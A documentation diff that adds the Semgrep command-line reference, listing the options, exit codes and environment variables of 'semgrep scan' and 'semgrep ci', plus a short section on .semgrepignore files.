+ Always include ANSI color in the output, even if not writing to a
+ TTY; defaults to using the TTY status
+
+ --gitlab-sast
+ Output results in GitLab SAST format.
+
+ --gitlab-sast-output=VAL
+ Write a copy of the GitLab SAST output to a file or post to URL.
+
+ --gitlab-secrets
+ Output results in GitLab Secrets format.
+
+ --gitlab-secrets-output=VAL
+ Write a copy of the GitLab Secrets output to a file or post to
+ URL.
+
+ --historical-secrets
+ Scans git history using Secrets rules.
+
+ --include=PATTERN
+ Specify files or directories that should be scanned by semgrep,
+ excluding other files. This filter is applied after these other
+ filters: '--exclude' options, any filtering done by git (or other
+ SCM), and filtering by '.semgrepignore' files. Multiple
+ '--include' options can be specified. A file path is selected if
+ it matches at least one of the include patterns. PATTERN is a
+ glob-style pattern such as 'foo.*' that must match the path. For
+ example, specifying the language with '-l javascript' might
+ preselect files 'src/foo.jsx' and 'lib/bar.js'. Specifying one of
+ '--include=src', '--include=*.jsx', or '--include=src/foo.*' will
+ restrict the selection to the single file 'src/foo.jsx'. A choice
+ of multiple '--include' patterns can be specified. For example,
+ '--include=foo.* --include=bar.*' will select both 'src/foo.jsx'
+ and 'lib/bar.js'. Glob-style patterns follow the syntax supported
+ by gitignore and semgrepignore, which is documented at
+ https://git-scm.com/gitignore#_pattern_format
+
+ --incremental-output
+ Output results incrementally. REQUIRES --experimental
+
+ --interfile-timeout=INT (absent=0)
+ Maximum time to spend on interfile analysis. If set to 0 will not
+ have time limit. Defaults to 0 s for all CLI scans. For CI scans,
+ it defaults to 3 hours.
+
+ -j VALUE, --jobs=VALUE (absent=3)
+ Degree of parallelism to use for parallel scanning, either using
+ shared-memory threads (the default) or the legacy process-based
+ parallelism (enabled with the deprecated --x-parmap flag). Semgrep
+ recommends under-provisioning the job count by 10-15 percent to
+ account for overhead from the garbage collector managing the
+ shared heap (for example, on a 12-core box, a -j value of 10 or 11
+ would be considered a good starting value). We highly recommend
+ that users do not _oversubscribe_ threads to CPUs, since this has
+ been seen to induce significant GC latency and slow scan times.
+ (Doing so will log a warning in debug mode.) The default jobs
+ value is derived from the number of logical cores that are
+ detected by Semgrep, scaled by 0.85.
+
+ --json
+ Output results in Semgrep's JSON format.
+
+ --json-output=VAL
+ Write a copy of the json output to a file or post to URL.
+
+ --junit-xml
+ Output results in JUnit XML format.
+
+ --junit-xml-output=VAL
+ Write a copy of the JUnit XML output to a file or post to URL.
+
+ -l VAL, --lang=VAL
+ Parse pattern and all files in specified language. Must be used
+ with -e/--pattern.
+
+ --matching-explanations
+ Add debugging information in the JSON output to trace how
+ different parts of a rule are matched (a.k.a., "Inspect Rule" in
+ the Semgrep playground)
+
+ --max-chars-per-line=INT (absent=160)
+ Maximum number of characters to show per line.
+
+ --max-lines-per-finding=INT (absent=10)
+ Maximum number of lines of code that will be shown for each match
+ before trimming (set to 0 for unlimited).
+
+ --max-log-list-entries=INT (absent=100)
+ Maximum number of entries that will be shown in the log (e.g.,
+ list of rule ids, list of skipped files). A zero or negative value
+ disables this filter. Defaults to 100
+
+ --max-memory=INT (absent=0)
+ Maximum system memory in MiB to use during the interfile
+ pre-processing phase, or when running a rule on a single file. If
+ set to 0, will not have memory limit. Defaults to 0. For CI scans
+ that use the Pro Engine, defaults to 5000 MiB.
+
+ --max-target-bytes=VALUE (absent=1000000)
+ Maximum size for a file to be scanned by Semgrep, e.g '1.5MB'. Any
+ input program larger than this will be ignored. A zero or negative
+ value disables this filter. Defaults to 1000000 bytes
+
+ --metrics=ENUM (absent=auto or SEMGREP_SEND_METRICS env)
+ Configures how usage metrics are sent to the Semgrep server. If
+ 'auto', metrics are sent whenever the --config value pulls from
+ the Semgrep server or if the user is logged in. If 'on', metrics
+ are always sent. If 'off', metrics are disabled altogether and not
+ sent. If absent, the SEMGREP_SEND_METRICS environment variable
+ value will be used. If no environment variable, defaults to
+ 'auto'.
+
+ --no-autofix
+ negates -a/--autofix
+
+ --no-dryrun
+ negates --dryrun
+
+ --no-error
+ negates --error
+
+ --no-exclude-minified-files
+ negates --exclude-minified-files
+
+ --no-force-color
+ negates --force-color
+
+ --no-git-ignore
+ negates --use-git-ignore
+
+ --no-rewrite-rule-ids
+ negates --rewrite-rule-ids
+
+ --no-secrets-validation
+ Disables secret validation.
+
+ --no-strict
+ negates --strict
+
+ --no-test-ignore-todo
+ negates --test-ignore-todo
+
+ --no-time
+ negates --time
+
+ --novcs
+ Assume the project is not managed by a version control system
+ (VCS), even if the project appears to be under version control
+ based on the presence of files such as '.git' or similar. REQUIRES
+ --experimental or --semgrepignore-v2.
+
+ -o VAL, --output=VAL
+ Save search results to a file or post to URL. Default is to print
+ to stdout.
+
+ --optimizations=VALUE (absent=all)
+ Turn on/off optimizations. Default = 'all'. Use 'none' to turn all
+ optimizations off.
+
+ --oss-only
+ Run using only the OSS engine, even if the Semgrep Pro toggle is
+ on. This may still run Pro rules, but only using the OSS features.
+
+ --pro
+ Inter-file analysis and Pro languages (currently Apex, C#, and
+ Elixir. Requires Semgrep Pro Engine. See
+ https://semgrep.dev/products/pro-engine/ for more.
+
+ --pro-intrafile
+ Intra-file inter-procedural taint analysis. Implies
+ --pro-languages. Requires Semgrep Pro Engine. See
+ https://semgrep.dev/products/pro-engine/ for more.
+
+ --pro-languages
+ Enable Pro languages (currently Apex, C#, and Elixir). Requires
+ Semgrep Pro Engine. See https://semgrep.dev/products/pro-engine/
+ for more.
+
+ --pro-path-sensitive
+ Path sensitivity. Implies --pro-intrafile. Requires Semgrep Pro
+ Engine. See https://semgrep.dev/products/pro-engine/ for more.
+
+ --project-root=VAL
+ Semgrep normally determines the type of project (git or novcs) and
+ the project root automatically. The project root is then used to
+ locate and use '.gitignore' and '.semgrepignore' files which
+ determine target files that should be ignored by semgrep. This
+ option forces the project root to be a specific folder and assumes
+ a local project without version control (novcs). This option is
+ useful to ensure the '.semgrepignore' file that may exist at the
+ project root is consulted when the scanning root is not the
+ current folder '.'. A valid project root must be a folder (path
+ referencing a directory) whose physical path is a prefix of the
+ physical path of the scanning roots passed on the command line.
+ For example, the command 'semgrep scan --project-root . src' is
+ valid if '.' is '/home/me' and 'src' is a directory or a symbolic
+ link to a '/home/me/sources' directory or a symbolic link to a
+ 'sources' directory but not if it is a symbolic link to a
+ directory '/var/sources' (assuming '/var' is not a symbolic link).
+ REQUIRES --experimental or --semgrepignore-v2.
+
+ --remote=VAL
+ Remote will quickly check out and scan a remote git repository of
+ the format "http[s]:///.../.git". Must be run with
+ --pro. Incompatible with --project-root. Note this requires an
+ empty CWD as this command will clone the repository into the CWD.
+ REQUIRES --experimental
+
+ --replacement=VAL
+ An autofix expression that will be applied to any matches found
+ with --pattern. Only valid with a command-line specified pattern.
+
+ --rewrite-rule-ids
+ Rewrite rule ids when they appear in nested sub-directories (Rule
+ 'foo' in test/rules.yaml will be renamed 'test.foo').
+
+ --sarif
+ Output results in SARIF format.
+
+ --sarif-output=VAL
+ Write a copy of the SARIF output to a file or post to URL.
+
+ --scan-unknown-extensions
+ If true, target files specified directly on the command line will
+ bypass normal language detection. They will be analyzed according
+ to the value of --lang if applicable, or otherwise with the
+ analyzers/languages specified in the Semgrep rule(s) regardless of
+ file extension or file type. This setting doesn't apply to target
+ files discovered by scanning folders. Defaults to false.
+
+ --secrets
+ Run Semgrep Secrets product, including support for secret
+ validation. Requires access to Secrets, contact
+ support@semgrep.com for more information.
+
+ --secrets-timeout=INT (absent=30)
+ Timeout in seconds for each secrets validation HTTP request. If
+ set to 0, no timeout is applied. Defaults to 30.
+
+ --semgrepignore-v2
+ [DEPRECATED] '--semgrepignore-v2' used to force the use of the
+ newer Semgrepignore v2 implementation for discovering and
+ filtering target files. It is now the default and only behavior.
+ The transitional option '--no-semgrepignore-v2' is no longer
+ available.
+
+ --severity=ENUM
+ Report findings only from rules matching the supplied severity
+ level. By default all applicable rules are run. Can add multiple
+ times. Each should be one of INFO, WARNING, or ERROR.
+
+ --show-supported-languages
+ Print a list of languages that are currently supported by Semgrep.
+
+ --skip-unknown-extensions
+ negates --scan-unknown-extensions
+
+ --strict
+ Return a nonzero exit code when WARN level errors are encountered.
+ Fails early if invalid configuration files are present. Defaults
+ to --no-strict.
+
+ --test
+ Run test suite.
+
+ --test-ignore-todo
+ If --test-ignore-todo, ignores rules marked as '#todoruleid:' in
+ test files.
+
+ --text
+ Output results in text format.
+
+ --text-output=VAL
+ Write a copy of the text output to a file or post to URL.
+
+ --time
+ Include a timing summary with the results. If output format is
+ json, provides times for each pair (rule, target). This feature is
+ meant for internal use and may be changed or removed without
+ warning. At the current moment, --trace is better supported.
+
+ --timeout=DOUBLE (absent=5.)
+ Maximum time to spend running a rule on a single file in seconds.
+ If set to 0 will not have time limit. Defaults to 5.0 s.
+
+ --timeout-threshold=INT (absent=3)
+ Maximum number of rules that can time out on a file before the
+ file is skipped. If set to 0 will not have limit. Defaults to 3.
+
+ --use-git-ignore
+ '--use-git-ignore' is Semgrep's default behavior. Under the
+ default behavior, Git-tracked files are not excluded by Gitignore
+ rules and only untracked files are excluded by Gitignore rules.
+ '--no-git-ignore' causes semgrep to not call 'git' and not consult
+ '.gitignore' files to determine which files semgrep should scan.
+ As a result of '--no-git-ignore', gitignored files and Git
+ submodules will be scanned unless excluded by other means
+ ('.semgrepignore', '--exclude', etc.). This flag has no effect if
+ the scanning root is not in a Git repository.
+
+ --validate
+ Validate configuration file(s). This will check YAML files for
+ errors and run 'p/semgrep-rule-lints' on the YAML files. No search
+ is performed.
+
+ --version
+ Show the version and exit.
+
+ --vim
+ Output results in vim single-line format.
+
+ --vim-output=VAL
+ Write a copy of the vim output to a file or post to URL.
+
+ --x-mem-policy=VAL
+ [INTERNAL] Heap and GC tuning policy. Only affects the Pro Engine.
+
+COMMON OPTIONS
+ --debug
+ All of --verbose, but with additional debugging information.
+
+ --develop
+ Living on the edge.
+
+ --experimental
+ Enable experimental features.
+
+ --help[=FMT] (default=auto)
+ Show this help in format FMT. The value FMT must be one of auto,
+ pager, groff or plain. With auto, the format is pager or plain
+ whenever the TERM env var is dumb or undefined.
+
+ --legacy
+ Prefer old (legacy) behavior.
+
+ --no-trace
+ negates --trace
+
+ --profile
+ Record profiles via Pyro Caml. By default sends them to
+ localhost:4040
+
+ -q, --quiet
+ Only output findings.
+
+ --trace
+ Record traces from Semgrep scans to help debugging. This feature
+ is meant for internal use and may be changed or removed without
+ warning.
+
+ --trace-endpoint=VAL
+ Endpoint to send OpenTelemetry traces to, if `--trace` is present.
+ The value may be `semgrep-prod` (default), `semgrep-dev`,
+ `semgrep-local`, or any valid URL. This feature is meant for
+ internal use and may be changed or removed without warning.
+
+ -v, --verbose
+ Show more details about what rules are running, which files failed
+ to parse, etc.
+
+EXPERIMENTAL OPTIONS
+ Any option starting with '--x-' is experimental and may be removed
+ from semgrep without notice.
+
+ --no-x-run-taint-once
+ [INTERNAL] Disable running taint analysis just once
+
+ --x-disable-transitive-reachability
+ [INTERNAL] Disable transitive reachability analysis regardless of
+ app-based configuration.
+
+ --x-dump-symbol-analysis
+ [INTERNAL] Dump symbol analysis results in JSON format, ATD type
+ 'symbol_analysis'.
+
+ --x-eio
+ [INTERNAL]
+
+ --x-group-taint-rules
+ [INTERNAL] Do not use
+
+ --x-ignore-semgrepignore-files
+ [INTERNAL] Ignore all '.semgrepignore' files found in the project
+ tree for the purpose of selecting target files to be scanned by
+ semgrep. Other filters may still apply. THIS OPTION IS NOT PART OF
+ THE SEMGREP API AND MAY CHANGE OR DISAPPEAR WITHOUT NOTICE.
+
+ --x-ls
+ [INTERNAL] List the selected target files before any rule-specific
+ or language-specific filtering. Then exit. The default output
+ format is one path per line. THIS OPTION IS NOT PART OF THE
+ SEMGREP API AND MAY CHANGE OR DISAPPEAR WITHOUT NOTICE.
+
+ --x-ls-long
+ [INTERNAL] Show selected targets and skipped targets with reasons
+ why they were skipped, using an unspecified output format. Implies
+ --x-ls. THIS OPTION IS NOT PART OF THE SEMGREP API AND MAY CHANGE
+ OR DISAPPEAR WITHOUT NOTICE.
+
+ --x-mcp
+ [INTERNAL] This flag indicates that the scan is run by the MCP
+ server. It is used to output extra info (e.g. rules, num bytes
+ scanned) at the end of the scan for the MCP server to use and
+ makes sure that metrics are not sent so that the MCP server can
+ send its own metrics.
+
+ --x-no-python-schema-validation
+ [INTERNAL] Skip JSON schema validation; rely on osemgrep parser to
+ validate rules files
+
+ --x-parmap
+ [INTERNAL] Rely on legacy Parmap-based parallelism
+
+ --x-pro-naming
+ [INTERNAL] Do not use
+
+ --x-run-taint-once
+ [INTERNAL] Run taint analysis just once (default: true)
+
+ --x-semgrepignore-filename=FILENAME
+ [INTERNAL] Files named FILENAME shall be consulted instead of the
+ files named '.semgrepignore'. This option can be useful for
+ testing semgrep on intentionally broken code that should normally
+ be ignored.
+
+ --x-simple-profiling
+ Upon exit, print on stderr a report showing how long certain
+ operations took, in an unspecified text format.
+
+ --x-tr, --x-enable-transitive-reachability
+ [INTERNAL] Enable transitive reachability analysis regardless of
+ app-based configuration. Typically used with
+ '--allow-local-builds'.
+
+EXIT STATUS
+ semgrep scan exits with:
+
+ 0 OK
+
+ 1 some findings
+
+ 2 fatal error
+
+ 3 invalid target code
+
+ 4 invalid pattern
+
+ 5 unparseable YAML
+
+ 7 missing configuration
+
+ 8 invalid language
+
+ 13 invalid API key
+
+ 99 not implemented in osemgrep
+
+ENVIRONMENT
+ These environment variables affect the execution of semgrep scan:
+
+ SEMGREP_BASELINE_COMMIT
+ See option --baseline-commit.
+
+ SEMGREP_ENABLE_VERSION_CHECK
+ See option --enable-version-check.
+
+ SEMGREP_FORCE_COLOR
+ See option --force-color.
+
+ SEMGREP_RULES
+ See option --config.
+
+ SEMGREP_SEND_METRICS
+ See option --metrics.
+
+AUTHORS
+ Semgrep Inc.
+
+BUGS
+ If you encounter an issue, please report it at
+ https://github.com/semgrep/semgrep/issues
+```
+
+
+```bash expandable
+NAME
+ semgrep ci - the recommended way to run semgrep in CI
+
+SYNOPSIS
+ semgrep ci [OPTION]…
+
+DESCRIPTION
+ In pull_request/merge_request (PR/MR) contexts, `semgrep ci` will only
+ report findings that were introduced by the PR/MR.
+
+ When logged in, `semgrep ci` runs rules configured on Semgrep App and
+ sends findings to your findings dashboard.
+
+ Only displays findings that were marked as blocking.
+
+OPTIONS
+ -a, --autofix
+ Currently ignored.
+
+ --allow-local-builds
+ Experimental: allow building projects contained in the repository.
+ This allows Semgrep to identify dependencies and dependency
+ relationships when lockfiles are not present or are insufficient.
+ However, building code may inherently require the execution of
+ code contained in the scanned project or in its dependencies,
+ which is a security risk.
+
+ --allow-untrusted-validators
+ Allows running rules with validators from origins other than
+ semgrep.dev. Avoid running rules from origins you don't trust.
+
+ --audit-on=VAL (absent SEMGREP_AUDIT_ON env)
+
+ --baseline-commit=VAL (absent SEMGREP_BASELINE_COMMIT env)
+ Only show results that are not found in this commit hash. Aborts
+ run if not currently in a git directory, there are unstaged
+ changes, or given baseline hash doesn't exist.
+
+ --code
+ Run Semgrep Code (SAST) product.
+
+ -d, --dump-command-for-core
+
+
+ --dataflow-traces
+ Explain how non-local values reach the location of a finding (only
+ affects text and SARIF output).
+
+ --disable-nosem
+ negates --enable-nosem
+
+ --disable-version-check
+ negates --enable-version-check
+
+ --dry-run
+ When set, will not start a scan on semgrep.dev and will not report
+ findings. Instead will print out json objects it would have sent.
+
+ --dryrun
+ Currently ignored.
+
+ --emacs
+ Output results in Emacs single-line format.
+
+ --emacs-output=VAL
+ Write a copy of the emacs output to a file or post to URL.
+
+ --enable-nosem
+ Enables 'nosem'. Findings will not be reported on lines containing
+ a 'nosem' comment at the end. Enabled by default.
+
+ --enable-version-check (absent SEMGREP_ENABLE_VERSION_CHECK env)
+ Checks Semgrep servers to see if the latest version is run;
+ disabling this may reduce exit time after returning results.
+
+ --exclude=PATTERN
+ Skip any file or directory whose path that matches PATTERN.
+ '--exclude=*.py' will ignore the following: 'foo.py',
+ 'src/foo.py', 'foo.py/bar.sh'. '--exclude=tests' will ignore
+ 'tests/foo.py' as well as 'a/b/tests/c/foo.py'. Multiple
+ '--exclude' options may be specified. PATTERN is a glob-style
+ pattern that uses the same syntax as gitignore and semgrepignore,
+ which is documented at
+ https://git-scm.com/gitignore#_pattern_format
+
+ --exclude-minified-files
+ Skip minified files. These are files that are < 7% whitespace, or
+ which have an average of > 1000 bytes per line. By default
+ minified files are scanned.
+
+ --exclude-rule=VAL
+ Skip any rule with the given id. Can add multiple times.
+
+ -f VAL, -c VAL, --config=VAL
+ Not supported in 'ci' mode
+
+ --fake-backend=VAL
+ Internal flag.
+
+ --files-with-matches
+ Output only the names of files containing matches. REQUIRES
+ --experimental
+
+ --force-color (absent SEMGREP_FORCE_COLOR env)
+ Always include ANSI color in the output, even if not writing to a
+ TTY; defaults to using the TTY status
+
+ --gitlab-sast
+ Output results in GitLab SAST format.
+
+ --gitlab-sast-output=VAL
+ Write a copy of the GitLab SAST output to a file or post to URL.
+
+ --gitlab-secrets
+ Output results in GitLab Secrets format.
+
+ --gitlab-secrets-output=VAL
+ Write a copy of the GitLab Secrets output to a file or post to
+ URL.
+
+ --historical-secrets
+ Scans git history using Secrets rules.
+
+ --include=PATTERN
+ Specify files or directories that should be scanned by semgrep,
+ excluding other files. This filter is applied after these other
+ filters: '--exclude' options, any filtering done by git (or other
+ SCM), and filtering by '.semgrepignore' files. Multiple
+ '--include' options can be specified. A file path is selected if
+ it matches at least one of the include patterns. PATTERN is a
+ glob-style pattern such as 'foo.*' that must match the path. For
+ example, specifying the language with '-l javascript' might
+ preselect files 'src/foo.jsx' and 'lib/bar.js'. Specifying one of
+ '--include=src', '--include=*.jsx', or '--include=src/foo.*' will
+ restrict the selection to the single file 'src/foo.jsx'. A choice
+ of multiple '--include' patterns can be specified. For example,
+ '--include=foo.* --include=bar.*' will select both 'src/foo.jsx'
+ and 'lib/bar.js'. Glob-style patterns follow the syntax supported
+ by gitignore and semgrepignore, which is documented at
+ https://git-scm.com/gitignore#_pattern_format
+
+ --incremental-output
+ Output results incrementally. REQUIRES --experimental
+
+ --interfile-timeout=INT (absent=0)
+ Maximum time to spend on interfile analysis. If set to 0 will not
+ have time limit. Defaults to 0 s for all CLI scans. For CI scans,
+ it defaults to 3 hours.
+
+ --internal-ci-scan-results
+ Internal flag.
+
+ -j VALUE, --jobs=VALUE (absent=3)
+ Degree of parallelism to use for parallel scanning, either using
+ shared-memory threads (the default) or the legacy process-based
+ parallelism (enabled with the deprecated --x-parmap flag). Semgrep
+ recommends under-provisioning the job count by 10-15 percent to
+ account for overhead from the garbage collector managing the
+ shared heap (for example, on a 12-core box, a -j value of 10 or 11
+ would be considered a good starting value). We highly recommend
+ that users do not _oversubscribe_ threads to CPUs, since this has
+ been seen to induce significant GC latency and slow scan times.
+ (Doing so will log a warning in debug mode.) The default jobs
+ value is derived from the number of logical cores that are
+ detected by Semgrep, scaled by 0.85.
+
+ --json
+ Output results in Semgrep's JSON format.
+
+ --json-output=VAL
+ Write a copy of the json output to a file or post to URL.
+
+ --junit-xml
+ Output results in JUnit XML format.
+
+ --junit-xml-output=VAL
+ Write a copy of the JUnit XML output to a file or post to URL.
+
+ --log-backend=VAL
+ Internal flag.
+
+ --matching-explanations
+ Add debugging information in the JSON output to trace how
+ different parts of a rule are matched (a.k.a., "Inspect Rule" in
+ the Semgrep playground)
+
+ --max-chars-per-line=INT (absent=160)
+ Maximum number of characters to show per line.
+
+ --max-lines-per-finding=INT (absent=10)
+ Maximum number of lines of code that will be shown for each match
+ before trimming (set to 0 for unlimited).
+
+ --max-log-list-entries=INT (absent=100)
+ Maximum number of entries that will be shown in the log (e.g.,
+ list of rule ids, list of skipped files). A zero or negative value
+ disables this filter. Defaults to 100
+
+ --max-memory=INT (absent=0)
+ Maximum system memory in MiB to use during the interfile
+ pre-processing phase, or when running a rule on a single file. If
+ set to 0, will not have memory limit. Defaults to 0. For CI scans
+ that use the Pro Engine, defaults to 5000 MiB.
+
+ --max-target-bytes=VALUE (absent=1000000)
+ Maximum size for a file to be scanned by Semgrep, e.g '1.5MB'. Any
+ input program larger than this will be ignored. A zero or negative
+ value disables this filter. Defaults to 1000000 bytes
+
+ --metrics=ENUM (absent=auto or SEMGREP_SEND_METRICS env)
+ Configures how usage metrics are sent to the Semgrep server. If
+ 'auto', metrics are sent whenever the --config value pulls from
+ the Semgrep server or if the user is logged in. If 'on', metrics
+ are always sent. If 'off', metrics are disabled altogether and not
+ sent. If absent, the SEMGREP_SEND_METRICS environment variable
+ value will be used. If no environment variable, defaults to
+ 'auto'.
+
+ --no-autofix
+ negates -a/--autofix
+
+ --no-dryrun
+ negates --dryrun
+
+ --no-exclude-minified-files
+ negates --exclude-minified-files
+
+ --no-force-color
+ negates --force-color
+
+ --no-git-ignore
+ negates --use-git-ignore
+
+ --no-rewrite-rule-ids
+ negates --rewrite-rule-ids
+
+ --no-secrets-validation
+ Disables secret validation.
+
+ --no-suppress-errors
+ negates --suppress-errors
+
+ -o VAL, --output=VAL
+ Save search results to a file or post to URL. Default is to print
+ to stdout.
+
+ --optimizations=VALUE (absent=all)
+ Turn on/off optimizations. Default = 'all'. Use 'none' to turn all
+ optimizations off.
+
+ --oss-only
+ Run using only the OSS engine, even if the Semgrep Pro toggle is
+ on. This may still run Pro rules, but only using the OSS features.
+
+ --pro
+ Inter-file analysis and Pro languages (currently Apex, C#, and
+ Elixir. Requires Semgrep Pro Engine. See
+ https://semgrep.dev/products/pro-engine/ for more.
+
+ --pro-intrafile
+ Intra-file inter-procedural taint analysis. Implies
+ --pro-languages. Requires Semgrep Pro Engine. See
+ https://semgrep.dev/products/pro-engine/ for more.
+
+ --pro-languages
+ Enable Pro languages (currently Apex, C#, and Elixir). Requires
+ Semgrep Pro Engine. See https://semgrep.dev/products/pro-engine/
+ for more.
+
+ --pro-path-sensitive
+ Path sensitivity. Implies --pro-intrafile. Requires Semgrep Pro
+ Engine. See https://semgrep.dev/products/pro-engine/ for more.
+
+ --rewrite-rule-ids
+ Rewrite rule ids when they appear in nested sub-directories (Rule
+ 'foo' in test/rules.yaml will be renamed 'test.foo').
+
+ --sarif
+ Output results in SARIF format.
+
+ --sarif-output=VAL
+ Write a copy of the SARIF output to a file or post to URL.
+
+ --scan-unknown-extensions
+ If true, target files specified directly on the command line will
+ bypass normal language detection. They will be analyzed according
+ to the value of --lang if applicable, or otherwise with the
+ analyzers/languages specified in the Semgrep rule(s) regardless of
+ file extension or file type. This setting doesn't apply to target
+ files discovered by scanning folders. Defaults to false.
+
+ --secrets
+ Run Semgrep Secrets product, including support for secret
+ validation. Requires access to Secrets, contact
+ support@semgrep.com for more information.
+
+ --secrets-timeout=INT (absent=30)
+ Timeout in seconds for each secrets validation HTTP request. If
+ set to 0, no timeout is applied. Defaults to 30.
+
+ --semgrepignore-v2
+ [DEPRECATED] '--semgrepignore-v2' used to force the use of the
+ newer Semgrepignore v2 implementation for discovering and
+ filtering target files. It is now the default and only behavior.
+ The transitional option '--no-semgrepignore-v2' is no longer
+ available.
+
+ --skip-unknown-extensions
+ negates --scan-unknown-extensions
+
+ --subdir=VAL
+ Scan only a subdirectory of this folder. This creates a project
+ specific to the subdirectory unless SEMGREP_REPO_DISPLAY_NAME is
+ set. Expects a relative path. (Note that when two scans have the
+ same SEMGREP_REPO_DISPLAY_NAME but different targeted directories,
+ the results of the second scan overwrite the first.)
+
+ --supply-chain
+ Run Semgrep Supply Chain product.
+
+ --suppress-errors (absent SEMGREP_SUPPRESS_ERRORS env)
+ Configures how the CI command reacts when an error occurs. If
+ true, encountered errors are suppressed and the exit code is zero
+ (success). If false, encountered errors are not suppressed and the
+ exit code is non-zero (failure).
+
+ --text
+ Output results in text format.
+
+ --text-output=VAL
+ Write a copy of the text output to a file or post to URL.
+
+ --timeout=DOUBLE (absent=5.)
+ Maximum time to spend running a rule on a single file in seconds.
+ If set to 0 will not have time limit. Defaults to 5.0 s.
+
+ --timeout-threshold=INT (absent=3)
+ Maximum number of rules that can time out on a file before the
+ file is skipped. If set to 0 will not have limit. Defaults to 3.
+
+ --use-git-ignore
+ '--use-git-ignore' is Semgrep's default behavior. Under the
+ default behavior, Git-tracked files are not excluded by Gitignore
+ rules and only untracked files are excluded by Gitignore rules.
+ '--no-git-ignore' causes semgrep to not call 'git' and not consult
+ '.gitignore' files to determine which files semgrep should scan.
+ As a result of '--no-git-ignore', gitignored files and Git
+ submodules will be scanned unless excluded by other means
+ ('.semgrepignore', '--exclude', etc.). This flag has no effect if
+ the scanning root is not in a Git repository.
+
+ --vim
+ Output results in vim single-line format.
+
+ --vim-output=VAL
+ Write a copy of the vim output to a file or post to URL.
+
+ --x-enable-mal-deps
+ Enable malicious dependency rules for this scan.
+
+ --x-mem-policy=VAL
+ [INTERNAL] Heap and GC tuning policy. Only affects the Pro Engine.
+
+COMMON OPTIONS
+ --debug
+ All of --verbose, but with additional debugging information.
+
+ --develop
+ Living on the edge.
+
+ --experimental
+ Enable experimental features.
+
+ --help[=FMT] (default=auto)
+ Show this help in format FMT. The value FMT must be one of auto,
+ pager, groff or plain. With auto, the format is pager or plain
+ whenever the TERM env var is dumb or undefined.
+
+ --legacy
+ Prefer old (legacy) behavior.
+
+ --no-trace
+ negates --trace
+
+ --profile
+ Record profiles via Pyro Caml. By default sends them to
+ localhost:4040
+
+ -q, --quiet
+ Only output findings.
+
+ --trace
+ Record traces from Semgrep scans to help debugging. This feature
+ is meant for internal use and may be changed or removed without
+ warning.
+
+ --trace-endpoint=VAL
+ Endpoint to send OpenTelemetry traces to, if `--trace` is present.
+ The value may be `semgrep-prod` (default), `semgrep-dev`,
+ `semgrep-local`, or any valid URL. This feature is meant for
+ internal use and may be changed or removed without warning.
+
+ -v, --verbose
+ Show more details about what rules are running, which files failed
+ to parse, etc.
+
+EXPERIMENTAL OPTIONS
+ Any option starting with '--x-' is experimental and may be removed
+ from semgrep without notice.
+
+ --no-x-run-taint-once
+ [INTERNAL] Disable running taint analysis just once
+
+ --x-computed-dependencies-dir=VAL
+ Internal flag.
+
+ --x-disable-transitive-reachability
+ [INTERNAL] Disable transitive reachability analysis regardless of
+ app-based configuration.
+
+ --x-dump-rule-partitions=INT (absent=0)
+ Internal flag.
+
+ --x-dump-rule-partitions-dir=VAL
+ Internal flag.
+
+ --x-dump-rule-partitions-strategy=VAL
+ Internal flag.
+
+ --x-dump-scan-config-path=VAL
+ Internal flag.
+
+ --x-dump-subprojects-and-exit=VAL
+ Internal flag.
+
+ --x-eio
+ [INTERNAL]
+
+ --x-ignore-semgrepignore-files
+ [INTERNAL] Ignore all '.semgrepignore' files found in the project
+ tree for the purpose of selecting target files to be scanned by
+ semgrep. Other filters may still apply. THIS OPTION IS NOT PART OF
+ THE SEMGREP API AND MAY CHANGE OR DISAPPEAR WITHOUT NOTICE.
+
+ --x-mcp
+ [INTERNAL] This flag indicates that the scan is run by the MCP
+ server. It is used to output extra info (e.g. rules, num bytes
+ scanned) at the end of the scan for the MCP server to use and
+ makes sure that metrics are not sent so that the MCP server can
+ send its own metrics.
+
+ --x-merge-partial-results-dir=DIR
+ Internal flag.
+
+ --x-merge-partial-results-output=VAL
+ Internal flag.
+
+ --x-no-python-schema-validation
+ [INTERNAL] Skip JSON schema validation; rely on osemgrep parser to
+ validate rules files
+
+ --x-parmap
+ [INTERNAL] Rely on legacy Parmap-based parallelism
+
+ --x-partial-config=VAL
+ Internal flag.
+
+ --x-partial-output=VAL
+ Internal flag.
+
+ --x-pro-naming
+ [INTERNAL] Do not use
+
+ --x-run-taint-once
+ [INTERNAL] Run taint analysis just once (default: true)
+
+ --x-semgrepignore-filename=FILENAME
+ [INTERNAL] Files named FILENAME shall be consulted instead of the
+ files named '.semgrepignore'. This option can be useful for
+ testing semgrep on intentionally broken code that should normally
+ be ignored.
+
+ --x-simple-profiling
+ Upon exit, print on stderr a report showing how long certain
+ operations took, in an unspecified text format.
+
+ --x-tr, --x-enable-transitive-reachability
+ [INTERNAL] Enable transitive reachability analysis regardless of
+ app-based configuration. Typically used with
+ '--allow-local-builds'.
+
+ --x-upload-partial-results=VAL
+ Internal flag.
+
+ --x-upload-partial-results-scan-id=INT
+ Internal flag.
+
+ --x-use-saved-scan-config-path=VAL
+ Internal flag.
+
+ --x-validate-partial-results-actual=VAL
+ Internal flag.
+
+ --x-validate-partial-results-expected=VAL
+ Internal flag.
+
+EXIT STATUS
+ semgrep ci exits with:
+
+ 0 OK
+
+ 1 some findings
+
+ 2 fatal error
+
+ 3 invalid target code
+
+ 4 invalid pattern
+
+ 5 unparseable YAML
+
+ 7 missing configuration
+
+ 8 invalid language
+
+ 13 invalid API key
+
+ 99 not implemented in osemgrep
+
+ENVIRONMENT
+ These environment variables affect the execution of semgrep ci:
+
+ SEMGREP_AUDIT_ON
+ See option --audit-on.
+
+ SEMGREP_BASELINE_COMMIT
+ See option --baseline-commit.
+
+ SEMGREP_ENABLE_VERSION_CHECK
+ See option --enable-version-check.
+
+ SEMGREP_FORCE_COLOR
+ See option --force-color.
+
+ SEMGREP_SEND_METRICS
+ See option --metrics.
+
+ SEMGREP_SUPPRESS_ERRORS
+ See option --suppress-errors.
+
+AUTHORS
+ Semgrep Inc.
+
+BUGS
+ If you encounter an issue, please report it at
+ https://github.com/semgrep/semgrep/issues
+
+```
+
+
+
+## Ignore files
+
+The Semgrep command line tool supports a `.semgrepignore` file that follows `.gitignore` syntax and is used to skip files and directories during scanning. This is commonly used to avoid vendor and test related code. For a complete example, see the [.semgrepignore file on Semgrep’s source code](https://github.com/semgrep/semgrep/blob/develop/.semgrepignore).
+
+In addition to `.semgrepignore` there are several methods to set up ignore patterns. See [Ignoring files, folders, or code](/ignoring-files-folders-code).
+
+## Connect to Semgrep Registry through a proxy
+
